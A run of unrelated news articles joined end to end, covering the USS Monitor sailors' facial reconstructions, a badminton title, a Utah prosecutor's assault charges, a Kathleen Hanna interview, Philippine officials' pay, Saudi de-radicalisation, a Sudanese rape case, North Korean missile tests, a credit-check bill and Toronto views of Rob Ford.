And Tuesday, a few months shy of 150 years since their faces were last seen in the midst of the Civil War, likenesses of the noble Yankee seamen were unveiled at the Navy Memorial in downtown Washington.
Experts have used plaster models of the sailors’ skulls to create facial reconstructions that could provide clues to their identities.
The unveiling is the culmination of almost 40 years of research into the Monitor shipwreck by the National Oceanic and Atmospheric Administration, the Navy, the Mariners’ Museum in Newport News, Va., and many other groups.
“I think it’s pretty amazing that we’ve finally gotten here,” said John D. Broadwater, a retired NOAA archaeologist who has been studying the Monitor for decades. “We can look into the eyes of those two men. It’s a little bit eerie, and kind of moving.”
“It’s really pretty impressive that we’ve got the technology to do that,” he said last week. “Beyond all that, it’s just very emotional for me.”
Broadwater, who dove on the Monitor wreck and this month published a book about it, was one of the first to begin excavating the human remains from inside the turret when it was raised from the bottom in 2002.
The Monitor is famous for battling the Confederate ship CSS Virginia, formerly the Merrimack, on March 9, 1862, in history’s first fight between ironclad warships — 150 years ago this Friday.
The battle, at Hampton Roads, was a draw, with each ship’s cannonballs bouncing off the other’s iron sides.
Later that year, the Virginia — which had been built out of the former USS Merrimack — was blown up to keep it out of the hands of Union soldiers. Little of it has ever been found.
The Monitor sank in a gale on Dec. 31, 1862. Most of the 63 crewmen escaped.
Sixteen men perished, but these two sets of remains are the only ones that have ever been recovered. The identities of all are known, and many crew members are depicted in old photographs — including a famous series taken on the ship by photographer James F. Gibson in July 1862.
Experts hope that the facial reconstructions might resemble one or two of the men in the pictures so historians might identify, or at least see the faces of, those who drowned in the turret.
Already, experts have noted a resemblance between the reconstructed face of the older sailor and that of the Monitor’s Welsh-born first-class fireman, Robert Williams, 30.
In two of Gibson’s pictures, officials said, Williams appears in a cap and mustache, as he stands with his arms folded. He is surrounded by other members of the crew, who lounge on the deck, playing checkers and smoking pipes.
“We just did a match up of the photo of Robert Williams with the older sailor’s facial reconstruction and it is very close,” James P. Delgado, director of NOAA’s Maritime Heritage Program, wrote in an e-mail Monday. “I wish I could Photoshop in the mustache and hat.”
“To see him in the group photo, standing on that deck, arms crossed... is why we have tried to literally put a face to these guys and move them from the anonymity [where] death and time have placed them,” Delgado wrote.
One problem: Williams appears in the photos to be a strapping man, taller than many of his shipmates. But the older skeleton seems to be that of a runty fellow, about 5-foot-61 / 2, according to the military’s anthropological study of the remains.
The wreck of the Monitor was located in 1973 by a Duke University research ship about 16 miles off the North Carolina coast in the stormy and treacherous region called “the graveyard of the Atlantic.”
The two almost complete skeletons were found in the turret when it was hauled out of the water, and scientists and researchers have been studying them for almost a decade. Neither has been conclusively identified.
A few facts were gleaned from the examination of their remains: The younger man’s broken nose, for example, and indications of a possible limp in the older man, a ring on one of his fingers, and a groove in his front teeth where he bit down on his pipe.
In January, forensics experts at Louisiana State University began applying clay to the skull models, using skin thickness formulas to re-create the likenesses.
The work was done at the university’s Forensic Anthropology and Computer Enhancement Services, or FACES, laboratory, where scientists often use the process to help police identify unknown remains.
“It’s exciting, in a sense, to bring these people back to life,” Mary Manhein, the lab director, said of the Monitor project. “It would be even more exciting if they could find out who they are, if in some small way these people could be traced to their descendants. That would be a wonderful thing.”
Manhein said the lab has compiled data on facial skin thicknesses for people of different ages, sexes and population groups.
Forensic sculptors first glue the proper thickness markers, which are actually pencil erasers of varying heights, to some 40 locations on the skull.
Then they smooth on the clay at the proper thickness and contour to fill out the face, lab research associate Nicole Harris said.
Prosthetic eyes are inserted — always brown, she said, because most people have brown eyes. Upon completion, photos are often taken and the images are further enhanced.
The models the scientists used are based on the actual skulls, which are housed with the skeletons at a special military identification laboratory in Hawaii.
Now that almost a decade has passed since the remains were recovered, some NOAA experts believe that the current sesquicentennial of the Civil War is the time for the sailors to be buried at Arlington National Cemetery.
“Let’s put these two men to rest,” said David W. Alberg, superintendent of NOAA’s Monitor National Marine Sanctuary. They “belong to history and the nation, and it’s time that the nation honors them.”P V Sindhu clinched her maiden Super Series Premier title after edging out Sun Yu of China in the finals of China Open. Sindhu continued her rampaging run as she lifted the prestigious title after beating Sun 21-11 17-21 21-11 in the summit clash that lasted an hour and nine minutes.
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World No. 11 Sindhu had come into the match with a 2-3 head-to-head record but then statistics counted little when she took the court at the Haixia Olympic Sports Center. Sindhu dished out a dominating game as she zoomed to a healthy 11-5 lead early on. The Indian looked sharp and athletic as she engaged in a fast-paced game to bamboozle her opponent. Rio Olympic silver medallist sealed the opening encounter after dominating a parallel game and finishing it with a return that hit Sun’s face.
Earlier, Saina Nehwal had clinched the China Open in 2014 before finishing runners-up last year. Sindhu had reached her maiden Super Series final at the Denmark Open last year but the title eluded her then as she lost in straight games to 2012 Olympic champion China’s Li Xuerei.
Congratulations @pvsindhu1 on winning #ChinaOpen! Going places and how!! — Harbhajan Turbanator (@harbhajan_singh) 20 November 2016
Proud moment for India again. @Pvsindhu1 wins the #Chinaopen, her first super series title. Many more to come. Many Congratulations. — Lt. Anurag Thakur (@ianuragthakur) 20 November 2016
Proud of you @Pvsindhu1 for winning your first Superseries title #ChinaOpen. What a great win! — N Chandrababu Naidu (@ncbn) 20 November 2016
Congratulations to @Pvsindhu1 for her #SuperSeries title at the #ChinaOpen. — Ravi Shankar Prasad (@rsprasad) 20 November 2016
In the 30 year history of China Open only 3 non Chinese have won it. 2 of them are @NSaina and @Pvsindhu1. Proud to support both @OGQ_India — Viren Rasquinha (@virenrasquinha) 20 November 2016DUCHESNE — A former Salt Lake County prosecutor, who is already facing a number of felony charges, stands accused of assaulting his girlfriend during an argument at the state courthouse in Duchesne.
On Oct. 17, a Murray woman told Duchesne County sheriff's deputies she was at the 8th District courthouse to address a warrant that had been issued for her arrest in a drug possession case.
She said she was confronted by her boyfriend, Matthew George Nielsen, who was also at the courthouse to represent a client in an unrelated case. The pair went into a meeting room and began to argue, according to court records.
"This argument became physical, and (Nielsen) slapped her on the face and pushed her to the back of the room and held her by the neck," charging documents state.
Deputies were told Nielsen threatened to kill the woman and her child, then knocked her to the floor.
"She hit her head, making a loud noise" that was heard by a court security officer who entered the room and separated the couple, but took no further action, court records state.
Nielsen's defense attorney, Ed Brass, questioned the woman's account of what happened when contacted Wednesday. He said his client is embroiled in a "tumultuous relationship" with a woman who continues to "go to the authorities and come up with a story that may or may not be true."
Nielsen told deputies he did not assault the woman when he was arrested several hours after the courthouse incident. A search of his pickup truck following a traffic stop turned up several loose prescription pills, investigators said.
Duchesne County prosecutors charged Nielsen on Tuesday with witness tampering and possession of a controlled substance, both third-degree felonies. He was also charged with misdemeanor counts of assault, reckless driving, drug possession, and driving with a measurable amount of a controlled substance in his system.
It's not the first time, though, that Nielsen has faced legal trouble.
In 2008, he left his job with the Salt Lake County District Attorney's Office and was charged that same year with five counts of forging a prescription for a controlled substance.
Nielsen entered a no-contest plea to one of the charges and entered the Tooele County Drug Court program, which he successfully completed, court records show.
In 2012, Nielsen was charged in 3rd District Court with four counts of falsely obtaining or dispensing a controlled substance. That case is set for trial in December.
Nielsen was also charged in September 2012 with witness tampering, child abuse, domestic violence in the presence of a child and making threats of domestic violence. Those charges came after police were called to Nielsen's home in Cottonwood Heights on a report that he was beating his girlfriend.
Nielsen's teenage daughter and son told police they tried to stop the alleged assault, but he chased after them, grabbed his daughter "and began punching her in the chest and stomach" before telling her, "If you call the police, I'll kill you," the charges state.
Nielsen also threw his son against the wall and hit him when he tried to help his sister, according to prosecutors in the case.
The children eventually called their mother, Nielsen's ex-wife, to pick them up. As they were leaving, Nielsen threw a bag at his daughter, hitting her in the back, according to the warrant. He also threatened to kill his ex-wife when she arrived, the charges state.
That incident came just a month after Nielsen was arrested in a separate case involving the same girlfriend. Nielsen punched the woman and knocked her out, then dragged her into the garage where he poured beer on her, according to court documents.
When the woman tried to make a run from Nielsen's house, he sprayed her with mace, the charges state. The woman continued running to a neighbor's house for help.
A misdemeanor battery charged filed in that case was dismissed in April, when Nielsen's girlfriend told prosecutors she would not testify against him, court records show.
Nielsen's first court appearance in the Duchesne County case is set for Nov. 7.
With all the charges against his client, Brass knows people will assume Nielsen is someone who is spiraling out of control.
"That's the way it would look on paper," Brass said, "but it should be clear that Mr. Nielsen asserts his innocence with respect to all these charges."
Twitter: GeoffLiesikOn the Julie Ruin’s “Goodnight Goodbye,” from 2013’s “Run Fast,” riot grrrl originator Kathleen Hanna (Bikini Kill, Le Tigre) displayed a newfound ambivalence toward both her own past and the new kids who’ve taken up the torch she helped light way back when. It’s not a purely hypothetical attitude, as demonstrated in a Q&A following “The Punk Singer,” the 2013 documentary about her. “I just thought that was really funny, that it was the first question: ‘I just think it’s really [expletive] up and not punk that you’re married,’” says Hanna. “And I was like, ‘I think it’s really [expletive] up that I’m at this Q&A right now hearing a 17-year-old berate me.’ ”
That should quell any thoughts that the singer and activist, who comes to the Wilbur Theatre on Thursday for a speaking engagement, has settled into a less brash and headstrong second (or third, or fourth) act. “I threw some Molotov cocktails through the wrong window, and I regret it,” Hanna admits. But her second thoughts seem to be more about her aim than her ammo.
Q. As someone who was on the ground floor of third-wave feminism, what’s your reaction to the way both the ideas and the word “feminism” are currently being bandied about?
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A. I’m just really psyched that people are questioning stuff. Like even a year ago, when people were like, “Oh, [Robin Thicke’s] ‘Blurred Lines,’ that song is kind of rapey.” And it wasn’t like that two years ago or three years ago. I mean, there’s tons of sexist and racist and homophobic songs on the radio — I always thought it was really funny that people picked on that one, because you could pick on any of them. But I feel like there’s a national conversation and an international conversation happening, at least in terms of women in music. You know, to have Beyoncé come out on stage with the word “feminist” or “feminism” written behind her in huge lights, that’s fantastic, to have huge pop stars questioning the fact that they’re still having to deal with sexism.
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Q. But isn’t there a rising movement of women actively resisting the term feminism?
A. Yeah, totally. There always is. And I don’t care what somebody calls themselves. I care much more how people act. There’s tons of people who are total feminists who just don’t want to call themselves that for whatever reason, whether it’s the racist legacy of certain branches of feminism or the anti-lesbian version of feminism that many people have read about that happened in NOW (National Organization for Women) under Betty Friedan. And I totally understand musicians not wanting to be called that, because then nobody ever asks you about your guitar playing or your singing or anything. They just ask you about politics or about that particular thing.
But at the same time, when I was doing interviews for the [Julie Ruin] record a year and a half ago or two years ago, people kept telling me all these pop stars saying these terrible things about “I’m not a feminist, because I love men.” And I was like, Jesus Christ, are we still dealing with that stereotype? Feminism is something that helps everybody, including men, because then men don’t have the burden of having this role shoved down their throat that maybe doesn’t fit their personality. Maybe they don’t want to be the strong silent type who has to support everybody. Maybe they want to [expletive] cry. I just think that feminism opens up gender roles and helps everybody.
Q. You’ve been perched just on the fringes of pop culture for quite some time — having given Kurt Cobain the phrase “smells like teen spirit,” dancing in a Sonic Youth video, marrying a Beastie Boy [Adam Horovitz], and being at ground zero for the riot grrrl movement — yet you yourself remain somewhat stubbornly on the margins. Is that where you’re happy, or have you ever been tempted to try and push harder for the center?”
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A. I’m actually just trying to figure that out right now. I read an article in a magazine called More — which I believe is for older women, with Meredith Vieira on the cover — about branding yourself, and I was like, aw, man, that’s my worst nightmare. But I was kind of interested, so I read it, and I was like, if you don’t brand yourself or create your own narrative and put it out there, somebody else is going to create the narrative. And the narrative’s going to be, yes, the riot grrrl thing, which I’m very proud of, and the bands I’ve been in, which I’m very proud of. But a lot of it’s also going to be Kurt Cobain and Adam Horovitz. I don’t want that to be my legacy, because I’m a feminist artist. Having written [“Kurt Smells Like Teen Spirit”] on someone’s wall really was one of the least interesting things that’s ever happened to me personally.
So I really have been thinking a lot about that very idea. And because the biopic came out about me, I’m like, maybe it is time that I stepped out from the shadows a little bit and tried to reach a wider audience. I think I have pretty good ideas and I make pretty good music, and because of the movie, I think I have that opportunity. So look out for me everywhere.
Interview was condensed and edited. Marc Hirsh can be reached at officialmarc@gmail.com(UPDATED) The newly appointed assistant secretary for social media will get a monthly gross salary of at least P106,454, plus allowances and bonuses
Published 1:36 PM, May 10, 2017
MANILA, Philippines (UPDATED) – The appointment of celebrity dancer and blogger Mocha Uson as assistant secretary of the Presidential Communications Operations Office (PCOO) has caused a stir among the public.
Uson was appointed assistant secretary for social media, a new post created just for her.
But how much exactly will the government pay the dancer-turned-public official, who is also a staunch defender of President Rodrigo Duterte?
Assistant secretaries, according to the Department of Budget and Management, have a salary grade of SG 29 or a monthly basic gross salary of at least P106,454. This amount already reflects the second tranche of increase starting January 1, 2017, as signed by former president Benigno Aquino III, one of Uson's targets in her blog.
Based on the 2017 General Appropriations Act (GAA) or the national budget, an assistant secretary is also entitled to a total of P20,000 monthly RATA or representation (P10,000) and transportation (P10,000) allowance, a P5,000 monthly "extraordinary and miscellaneous" expenses (or a total of P60,000 annually for assistant secretaries), and a P2,000 monthly personal economic relief allowance or PERA (for all government employees).
The P10,000 transportation allowance may not be given if an official is provided with a government vehicle and driver.
Section 42 of the General Provisions of the 2017 GAA defines "extraordinary and miscellaneous" funds as "expenses incurred for the following":
Meetings, seminars, and conferences
Official entertainment
Public relations
Educational, athletic, and cultural activities
Contibutions to civic or charitable institutions
Membership in government associations
Subscription to professional technical journals and informative magazines, library books, and materials, among others
This means Uson would get at least P133,454 monthly before taxes (P106,454 gross salary + P20,000 RATA + P2,000 PERA + P5,000 extraordinary and miscellaneous expenses).
On top of her monthly salary and allowances, Uson, just like any government employee, is entitled to a mid-year and year-end bonus, which are both equivalent to a month's salary. She is also entitled to a yearly P5,000 clothing allowance and a P5,000 cash gift.
But more than the monetary benefits, Uson now wields influence and power as an assistant secretary serving in Malacañang. (READ: Duterte on Mocha Uson: 'Utang na loob ko 'yan sa kanila')
Power of social media
Uson, in a televised interview, said she would focus on harnessing the power of social media to reach more Filipinos, especially those abroad.
"Naka-focus tayo do'n sa mga nais matulungan, maraming hinaing. At sa social media do'n na nga nagiging sumbungan ng mga kababayan natin, lalo na OFWs (overseas Filipino workers) na 'di nabigyan ng pansin noong nakaraang administrasyon, ngayon lang nagkakaroon ng boses," she said.
(We are focused on those who need help, those who have many complaints. And social media has become a venue for our countrymen, especially OFWs who were neglected by the past administration, to air their grievances. They just gained their voice now.)
Before getting a post at the PCOO, Uson was appointed board member of the Movie and Television Review and Classification Board (MTRCB).
Her show over radio dzRH was suspended after she bad-mouthed Vice President Leni Robredo on air.
As PCOO assistant secretary, Uson would be involved in relaying the government's efforts and messages to the public and to the media. (READ: How Facebook algorithms impact democracy)
Uson, who has a wide following on social media, has been accused of spreading misleading news online, something she denies. (READ: Photo used by Duterte camp to hit critics taken in Brazil, not PH)
Uson became popular for leading the Mocha Girls, an all-female group of dancers who appeared during Duterte's sorties in the 2016 presidential elections.
Before Duterte's campaign, she was known for giving sex tips online. – Rappler.com
Editor's note: An earlier version of this story indicated that Uson's representation and transportation allowance amounts to P10,000. Section 54 of the 2017 General Appropriations Act however provides for a P10,000 representation allowance and a separate P10,000 transportation allowance. The necessary correction has been made.Ahmed al-Shayea was known as the "living suicide bomb" – the young Saudi driver of a fuel tanker bomb in Iraq who survived to renounce violence and warn his countrymen of the dangers of jihad.
In the process he became Saudi Arabia's poster boy for a high-profile jihadi de-programming initiative whose secondary purpose is to discourage Saudis from joining al-Qaida.
With his burned face and mangled hands, Shayea was presented as a vivid warning to young Saudis about the perils of jihad and the untrustworthiness of al-Qaida, which he claimed had tricked him into driving the tanker bomb, which killed 12 people in 2004.
That was until November. Then Shayea disappeared from Saudi Arabia, only to reappear reportedly in Syria where – his Twitter feed reveals – he has rejoined the ranks of an al-Qaida franchise, the Islamic State of Iraq and the Levant (ISIL), which is engaged in a civil war with other rebels fighting the Assad regime.
The case of Shayea raises questions about the effectiveness of the jihadi de-programming efforts, including the well-known Saudi model, which has boasted of rehabilitating and releasing several thousand former jihadis, including some returned by the US.
And Shayea is not the only prominent jihadi to have returned to al-Qaida. Despite long denials of any recidivism, four years ago it was revealed that Said Ali al-Shihri, a former inmate of Guantánamo who was also released to the Saudis under the same programme, had re-emerged as al-Qaida's deputy leader in Yemen, one of a number of graduates of the de-radicalisation programme to return to the group.
Khalid al-Suwid, who also fought in Iraq and was released under the same programme in 2012, is another who quickly resumed jihad. His death in Syria was announced in a martyrdom video on Facebook.
Hundreds of young Saudis have undergone the jihadi de-programming, being re-educated in prisons and rehabilitation centres, a scheme run by the interior ministry and available only to captured jihadis who demonstrate a desire to revoke their beliefs.
If Shayea's story is instructive, it is because so much is known about him. Held by US forces in Abu Ghraib prison in Iraq after the fuel tanker attack, he was repatriated to Ha'ir prison in Riyadh, where he told a visiting cleric he had experienced a change of heart.
In an outreach programme similar to ones run in Egypt and Yemen at the time involving psychiatrists and clerics, Shayea was persuaded to go public, appearing on television as part of a co-ordinated campaign to persuade others not to follow him.
He had been tricked, he said in his appearances. Although he had gone to fight Americans, he added, he was not told that the tanker he drove into Baghdad was a bomb.
His message was not just aimed at Saudi Arabia's jihadis; the authorities were keen to show him off to the wider world as well. In 2007 he described rejection of jihad in an interview organised by the Saudi government with western media outlets. "I realised that all along I was wrong," Shayea told the Associated Press in a two-hour interview at a Riyadh hotel before returning to an interior ministry compound that serves as a sort of halfway house for ex-jihadis rejoining Saudi society. "There is no jihad. We are just instruments of death," he said.
When he was recruited in his home town of Buraida, Shayea was 19 and jobless. "My friend started telling me about Iraq, how Muslims are getting killed there and how we should go there for jihad," said Shayea in 2007. "He told me there were fatwas and DVDs issued by Saudi and Iraqi clergymen that called for jihad."
In another interview in the same year that was broadcast by Fox News, Shayea added: "I would like to say to the American people that Islam forbids killing innocent people."
What is puzzling about Shayea's return to al-Qaida in Syria is that – by his own account – while being treated by US forces in Iraq who had saved his life, he claims that he told his American interrogators where to find a senior al-Qaida figure in Baghdad and revealed all that he knew about the group.
Noman Benotman, president of the thinktank Quilliam, which has its own de-radicalisation work, believes that, of 4,000 to 6,000 Saudis who have gone through the scheme, only 80 to 100 have either picked up arms again or drifted back into jihadi ideology.
"You have to separate the myth from the reality of this programme. It has been largely successful, but it has not – as the Saudis have tried to claim in the past – been magic, with no cases of people returning to jihad.
"Some have gone to Syria, others to Yemen, but it is still a small number," said Benotman.
He said that graduates from the de-programming initiative had been influenced by the same narrative of the war in Syria as wider Saudi society, where Salafists have used the official attitude of the ruling family to argue that the royal family has been hypocritical over events in Syria.Ethopian teenager says she was raped by seven men last August, and now faces possible sentence of death by stoning
A pregnant teenager who says she was gang-raped has been charged with adultery in Sudan, and faces a possible sentence of death by stoning. The country's judiciary has received millions of pounds in aid from the UK.
The 18-year-old Ethiopian, who is nine months pregnant, is being held in a police cell and until recently was sleeping on a bare concrete floor without a mattress or suitable food or clothing, according to the Strategic Initiative for Women in the Horn of Africa (SIHA) network.
SIHA accused Sudan of discriminating against the alleged victim because she is both a woman and a migrant, and demanded her immediate release or transfer to hospital.
The young divorcee claims that last August, when she was about three months pregnant, she was lured to an empty property in the capital, Khartoum, and violently gang-raped by seven men. She reported the incident to a police officer at the time, but he decided against pursuing an investigation because of the Eid holiday. He was initially charged with negligence, but this was dropped on Tuesday.
According to SIHA, the attack was filmed by one of the men on his phone and circulated on social media six months later, leading to the arrest of both the alleged perpetrators and victim. The case came to court earlier this month. Five men, understood to be between 18 to 22, are accused of adultery; a sixth, who says he did not have sex with the woman, is accused of gross indecency.
The woman is charged with adultery, although she denied the charges and is pleading not guilty on the basis that the sexual act was against her will. Her attempt to make a complaint of rape has been denied on the technicality that she is under investigation on other charges and she should have complained at the time of the incident. Her request for bail has been denied by the attorney general.
"The intention to place culpability on the part of the victim is of great concern and seeks to deflect and reduce accountability of the perpetrators, but more disturbing is that the charge of adultery carries with it the potential sentence of death by stoning if found guilty," SIHA said.
Although rarely carried out, SIHA noted, the sentence of stoning for adultery has been handed down twice in recent years, against two women, Intisar Sharif and Laila Jamool, in 2012. Following appeals in both cases, the sentences were overturned.
The Sudanese government has been criticised for the mistreatment and marginalisation of foreign nationals, with Ethiopians often a target of xenophobia. SIHA said the Sudanese media has sought to undermine the alleged rape victim by falsely claiming that she has HIV and stating that she is a prostitute. "There have even been cynical attempts to falsely claim that the men were accidently prescribed hallucinogenic drugs by a chemist beforehand."
Hala Alkarib, regional director of the SIHA network, said: "Impunity and silence on crimes of sexual violence committed against IDPs [internally displaced persons], migrants and impoverished women in Sudan has been a pattern for years.
"This case brings to light the obstacles in bringing complaints of rape, let alone negotiating the legal system through to prosecution. There is an urgent need for article 149 of the criminal code referring to rape to be reformed to protect victims and pursue justice."
She added: "Successful prosecution of rape is the exception as opposed to the norm and most certainly does not reflect the level of incidence. Instead victims face the risk that they will instead be prosecuted for adultery, being re-vicitmised by the judicial system, and threatened with the ultimate sentence of death by stoning."
The case is likely to raise questions over Britain's donor support for the justice system in Sudan. A Department for International Development (DfID) document says it will provide up to £20.6m over the period March 2010 to March 2014 to fund a "safety and access to justice programme" in Sudan and South Sudan.
The programme is intended to support rule of law partners to "improve the daily experience of people requiring access to security and justice through infrastructure development and by strengthening the institutions' ability to respond effectively and efficiently to the requirements of social peace and tranquillity".
But the support to Sudan was cut off last month, earlier than planned. A DfID spokesman said on Tuesday: "We condemn absolutely all human rights abuses and stoning is an abhorrent practice. DfID recently ended its support to the Sudanese judiciary in light of the deteriorating operating environment and our deep concerns about human rights abuses."
Last year a Somali woman who alleged she was raped was sentenced to a year in jail. She was later acquitted after a worldwide outcry.On the first day of 2017, North Korean leader Kim Jong Un announced that his regime was preparing to test an intercontinental ballistic missile.
Combined with efforts to produce ever-smaller nuclear warheads, the ICBM test would prove a decisive step in Pyongyang’s generational march toward an effective nuclear deterrent—one that could fundamentally change the way the United States, and indeed the whole world, deals with the reclusive North Korean regime.
But Donald Trump, then just weeks before assuming the presidency, promised he’d halt Kim’s test. “It won’t happen!” Trump tweeted.
It did happen. Three times, in fact. Not only did Pyongyang repeatedly test long-range, nuclear-capable ballistic missiles in 2017, it also made significant progress arming its submarines with an atomic weapon.
And the United States failed to stop anything. Trump escalated his rhetoric, even threatening to “totally destroy” North Korea. Meanwhile the Pentagon organized impressive naval war games off the North Korean coast and aerial exercises near the Demilitarized Zone. The U.S. Army consolidated its own forces in South Korea at a sprawling, new mega-base.
But no show of conventional military might, and no late-night angry tweet from America’s commander in chief, could make up for Washington’s self-imposed diplomatic failures. Unwilling to negotiate, the United States watched while North Korea rose. In 2017, Pyongyang became a bigger nuclear power. And Washington became an impotent observer of the results of its own failures.
It didn’t have to be this way. When it comes to slowing the spread of nuclear weapons, history has proved that diplomacy actually helps. Trump either doesn’t understand that or doesn’t care. And that means 2018 likely will see more North Korean missile tests—and more meaningless American rage.
Kim’s third ICBM test of the year, on Nov. 28, was his most impressive. The rocket arced 2,800 miles into space before re-entering Earth’s atmosphere and splashing into the Sea of Japan around 600 miles from the launcher.
David Wright, a physicist with the Union of Concerned Scientists in Massachusetts, calculated the rocket’s potential maximum range. By flattening its trajectory, Pyongyang could extend the rocket |
, according to The Washington Post. “A blanket prohibition would disadvantage many businesses that use credit as one component of a background check.”
The bill allows an exemption for positions in the government that require a national security clearance.
Over 50 advocacy groups signed a letter Tuesday in support of the legislation.
"Discriminatory credit checks are bad for employers, they're bad for job seekers, and they're bad for our economy. In order to have an inclusive recovery where all Americans have a chance to take part, Congress must pass the Equal Employment for All Act," said Nancy Zirkin, executive vice president of The Leadership Conference on Civil and Human Rights.
The bill has no Republican support in the Senate, The Washington Post reported.
A similar measure was proposed in the House in 2011, though the legislation did not make it past the committee level.
In the past three years, 10 US states have barred employers from demanding credit checks for job applicants."Residents split over who to believe in Ford controversy," read a recent headline. Too true. The Ford affair has exposed the rifts in this city as never before.
To explore them, I decided to take a little trip from his house to my house.
The mayor lives in Etobicoke in a modest bungalow on a winding suburban street. I live downtown in a 16-foot-wide semi-detached Victorian on a street with postage-stamp front yards.
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One day this week, I drove out to his place, then turned around and drove back to mine, stopping along the way to talk to people about how they are feeling about the mayor. The route took me from the big lawns and sprawling apartment plazas of Etobicoke to the cafés, art galleries and Portuguese sports bars of my own neighbourhood. It takes no more than 20 minutes in light midday traffic, but it can feel like a journey between separate worlds.
A look at the demographic profile of Mr. Ford's city electoral district, Ward 4, shows that 50 per cent of residents live in houses, compared with 23 per cent in my Ward 18 (and 37 per cent citywide). The average age in his ward is 44, in mine 37 (and in the city as a whole, 39). The population density is 9,490 persons per square kilometre in my ward, 3,230 in his.
Where you live can influence how you feel about civic issues, and that is especially true when it comes to the polarizing Mr. Ford. An Ipsos Reid poll for CP24 and CTV News showed that Torontonians are evenly divided on the question of the alleged drug video, with half asserting that they believe him when he insists he does not smoke crack cocaine and half saying they don't.
And, as Ipsos Reid puts it, the fault line is "largely a function of the downtown vs. suburbs dichotomy that has existed throughout Mr. Ford's tenure." Forty per cent of residents in the downtown believe Mr. Ford, 48 per cent in Scarborough, 48 per cent in York/East York, 54 per cent in North York and 61 per cent in his native Etobicoke.
To get from his Etobicoke driveway to his city hall parking space, Mr. Ford often avoids the clogged highways and heads east along Dundas Street. En route, his black Cadillac Escalade passes within 100 feet of my place just south of Dundas near Dufferin.
Dundas, an old colonial road that was intended to connect Toronto to the town of Dundas near today's Hamilton, takes an irregular route. Most of Toronto is laid out on a simple grid pattern, with some streets running roughly north-south and others east-west. Dundas curves and swoops from Mr. Ford's neighbourhood to the heart of the city, carrying the mayor to within a block of the entrance to city hall.
It can be a frustrating drive at rush hour, and Mr. Ford has complained on his weekly radio show about getting stuck behind the trundling Dundas 505 streetcar. His loathing for "these damned streetcars" may spring partly from his commute. But the Dundas route is more direct than boxing the city via the 401, 427, QEW and Gardiner.
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I started my return trip at a gas bar, a block from Mr. Ford's modest bungalow, where he sometimes stops for coffee on the way in to work. This is the heart of Ford Nation, and not surprisingly, most people I talked to said the mayor was a great guy who was being hounded by a hostile press.
Carol Demmitt, 47, who sells cosmetics, says she suspects someone faked the tape. "I do feel there is that much of a hatred for him, that they would go out of their way to create something like that just to stick it to this guy."
Martin McCarnan, 44, who drives a produce delivery truck and was wearing an NYPD ball cap, says he voted for Mr. Ford in 2010 and would do it again. He likes the fact that Mr. Ford is "human," not a plastic politician. "As far as the crack thing, if you can't prove it, leave him alone. Put up or shut up."
Jeff, 47, a forklift operator who preferred not to give his surname, said he has heard the drug-video story but he is "not buying it for a second." The way he sees it, "there is someone out there who has got something against him and wants him out."
My next stop was the Messina Bakery, a family-run Italian business famous for its cannoli that stands near the intersection of Dundas and Scarlett Road right on the route from Mr. Ford's place. Lisa Woroniuk, 44, was ambling by in a bright green summer dress and sandals, a puppy cradled on her arm. "I think it's a load of crap," she says of the crack-video story. "I don't believe it's Ford in the video. I don't believe he does drugs. I don't believe he made any racial slurs."
Like Mr. Ford himself, she argues that he is being attacked by powerful forces trying to derail his agenda. "It is the Ford haters that don't like him. The corporates don't like him because he doesn't do anything for them. He is helping people with no money and that pisses people off."
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Heading east past malls and car dealerships, I reach the Junction, a gentrifying neighbourhood where young couples are flocking because (at least for this week) you can still get a decent house for under $700,000. Here, judging by my brief and highly unscientific survey, opinion on the mayor is more mixed.
Kim LeBlanc, a self-confessed "tree-hugger" who works in the restaurant business who stopped to talk when I got out of the car to stroll along Dundas, says she can't say whether the drug allegation is true but wishes there was some way – any way – to get the mayor out of office.
"Does he have any idea what it is to live in this city? I mean, where does he even live? He lives probably out in some suburb in some big gigantic house. That's the only reason he's the mayor, because of his rich friends out in suburbia, as far as I'm concerned."
But jewellery-store owner Tony Prezio, 62, says he likes Mr. Ford for his attempts to control spending and build subways. He is not too bothered by the video affair. "Whether he is guilty of it or not, I don't think it matters to me. We all have our things that we do that are not proper in front of other people's eyes. The guy is doing a good job in there. It's the end result we all look at, right?"
Five minutes' drive further east, past Bloor Street and over the railway tracks, I reach my own changing neighbourhood. When I moved in 20 years ago, the strip of Dundas between Ossington and Lansdowne was run down and mainly Portuguese, with barrels of salt cod outside the grocery stores. Many of those Portuguese businesses remain – butchers, bars, barber shops, travel agents – but alongside them have come the galleries, coffee shops and clubs that have made this hipster heaven.
At the Wallflower bar, bartender Simon Maerov, 33, calls the video affair "the cherry on top of the sundae that is Rob Ford – the final touch on a messed-up, dysfunctional situation. When he was voted in it was a mistake and the fact that he is still in power is a mistake."
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Down the street at the Henhouse bar, proprietor Bobby Beckett, 32, says that even "before the crack thing came up I was thinking he had to get the heck out of office. This is the icing on the cake. It's mind-boggling that this man is still in office."
Her colleague Leah Wahl adds: "We have an embarrassing mayor that hates the city and loves the suburbs." Like quite a few Ford critics, she thinks it was a huge mistake to throw the two together through amalgamation in 1998. "A city needs different things than a suburb needs. Everyone drives in the suburbs."
Now, sometimes we exaggerate the urban-suburban divide. Lots of people in the downtown voted for Mr. Ford; lots in the suburbs are perfectly willing to believe in the crack video. "I think it's real, I really do," says Kyle Hancott, 25, who is helping dig a trench for pipes near the mayor's house. "He's just mad or upset that he got caught and now he's all bent out of shape."
Downtown and suburbs have more in common than they sometimes think. Both have an interest in better transit. Even suburban motorists would find traffic lighter if more people could leave their cars at home. Both have an interest in better controls on spending at city hall. Even downtowners might find more money freed up for the arts or the parks if less was wasted in the first place. As a downtowner, I ride a bike to work but drive a great big minivan on weekends.
To think we can solve all our problems by divorcing is a fantasy. Are we really going to give East York its own mayor and Etobicoke its own fire department again?
But, if my day on the road from Rob Ford's house to mine is anything to go by, the way people see this mayor can be wildly different from one part of the city to the next.
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As Ms. Wahl at Henhouse puts it, "I just can't believe that I feel so differently about something – so passionately about something – and people living in the suburbs just feel the complete opposite from what I feel. 'Oh, leave him alone, he's a good guy.' Who thinks that? It's just sad. It's so black and white."
